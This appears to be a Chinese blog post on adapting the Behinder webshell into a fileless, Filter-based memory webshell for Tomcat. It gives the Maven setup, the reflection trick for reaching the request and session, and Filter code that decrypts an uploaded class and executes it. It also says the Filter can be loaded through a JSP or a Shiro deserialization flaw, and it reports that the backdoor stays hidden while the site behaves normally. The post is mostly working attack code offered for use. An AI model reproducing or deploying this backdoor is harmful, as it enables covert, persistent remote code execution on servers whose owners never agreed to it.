上一篇文章介紹了Tomcat基於Filter的無文件webshell的demo。Filter的webshell很簡單,只是實現了一個簡單的命令執行。查找了網上的公開的webshell,發現基於Filter並且功能比較齊全的webshell基本沒有。所以萌生了自己魔改冰蠍以適配tomcat內存馬的想法。
0x00 反編譯冰蠍
- 創建一個maven的項目。pom的依賴如下
<dependencies>
<dependency>
<groupId>junit</groupId>
<artifactId>junit</artifactId>
<version>4.11</version>
<scope>test</scope>
</dependency>
<dependency>
<groupId>org.json</groupId>
<artifactId>json</artifactId>
<version>20170516</version>
</dependency>
<!-- https://mvnrepository.com/artifact/javax.servlet/servlet-api -->
<dependency>
<groupId>javax.servlet.jsp</groupId>
<artifactId>jsp-api</artifactId>
<version>2.1</version>
<scope>provided</scope>
</dependency>
<!-- https://mvnrepository.com/artifact/asm/asm-all -->
<dependency>
<groupId>asm</groupId>
<artifactId>asm-all</artifactId>
<version>3.3.1</version>
</dependency>
<!-- https://mvnrepository.com/artifact/javax.servlet/servlet-api -->
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>servlet-api</artifactId>
<version>2.5</version>
<scope>provided</scope>
</dependency>
<!-- https://mvnrepository.com/artifact/org.xerial/sqlite-jdbc -->
<dependency>
<groupId>org.xerial</groupId>
<artifactId>sqlite-jdbc</artifactId>
<version>3.31.1</version>
</dependency>
<dependency>
<groupId>org.apache.tomcat.embed</groupId>
<artifactId>tomcat-embed-core</artifactId>
<version>7.0.25</version>
</dependency>
</dependencies>
-
將冰蠍中這幾個jar包,拷貝進來。然后記得右鍵選擇 add as library。

-
然后通過idea反編譯,將每個class的反編譯后的結果,拷貝到項目中。
-
對反編譯的結果稍作修改,即可運行。冰蠍的main class在ui.Starter中
結果如圖

0x01 改造分析
Filter中只有request與response。session可以通過request去獲取,代碼如下
((HttpServletRequest)request).getSession()
而冰蠍的原理為,上傳一個class字節碼,通過調用classloader的defineClass方法,將class字節碼,轉換為Class。實例化上傳的這個類,通過equal方法傳遞PageContext。equals方法只接受一個參數,通過對這9個對象分析發現,只要傳遞pageContext進去,便可以間接獲取Request、Response、Seesion等對象,如HttpServletRequest request=(HttpServletRequest) pageContext.getRequest();
冰蠍實現命令執行,獲取信息等的類在payload.java中,我們隨便點開一個看一下

冰蠍主要用到了三個對象,分別是
- request 獲取請求
- response 向響應中寫入結果
- session session中存放aes加密的密鑰
0x02 代碼實現
方法一
Filter中的response的請求類型為org.apache.catalina.connector.ResponseFacade。里面有一個response字段,類型為org.apache.catalina.connector.Response。代碼如下

在這里我們可以很清晰的看見,構造函數中的參數中存在一個request對象。所以,我們可以從response對象中,間接獲取request對象與session對象。idea調試截圖

代碼實現如下
Field responseField = ResponseFacade.class.getDeclaredField("response");
responseField.setAccessible(true);
org.apache.catalina.connector.Response resp = (Response) responseField.get((ResponseFacade) response);
ServletRequest request = resp.getRequest();
HttpSession session = resp.getRequest().getSession();
Filter中內存馬的代碼如下
try{
if (u != null) {
Cipher c = Cipher.getInstance("AES");
c.init(2, new SecretKeySpec((u + "").getBytes(), "AES"));
byte[] evilClassBytes = c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()));
Class evilClass = new U(this.getClass().getClassLoader()).g(evilClassBytes);
evilClass.newInstance().equal(response);
return;
}
} catch (Exception e) {
}
chain.doFilter(request, response);
}
只需要修改payload.java中各個payload的request,response,session改造成上面的代碼,重新打包即可。
當然,這種方法存在神坑,會一直報錯,如下

方法二
修改冰蠍的payload,不再使用equal方法作為執行payload的入口點。添加一個方法,參數如下
public boolean fuck(ServletRequest request, ServletResponse response)
payload中替換一下response與request。內存馬中可以這樣寫
Cipher c = Cipher.getInstance("AES");
c.init(2, new SecretKeySpec((u + "").getBytes(), "AES"));
byte[] evilClassBytes = c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()));
Class evilClass = new U(this.getClass().getClassLoader()).g(evilClassBytes);
Object a = evilClass.newInstance();
Method b = evilClass.getDeclaredMethod("fuck", ServletRequest.class, ServletResponse.class);
b.invoke(a, request, response);
return;
這樣就可以解決那個神坑問題,一切ok
0x03 成果檢驗
將生成的Filter使用jsp或者shiro反序列化漏洞,加載至tomcat系統中。
正常訪問網站

一切正常,沒有任何問題
通過冰蠍訪問網站,url處隨便寫,如圖

訪問,如圖所示

當然,因為這個是魔改的程序,沒有經過原作者允許就去公開,可能不太好。所以目前只限於內部交流,暫時還沒有想法公開給大家。一切只是拋磚引玉,實現的方法還有很多。希望大佬輕拍

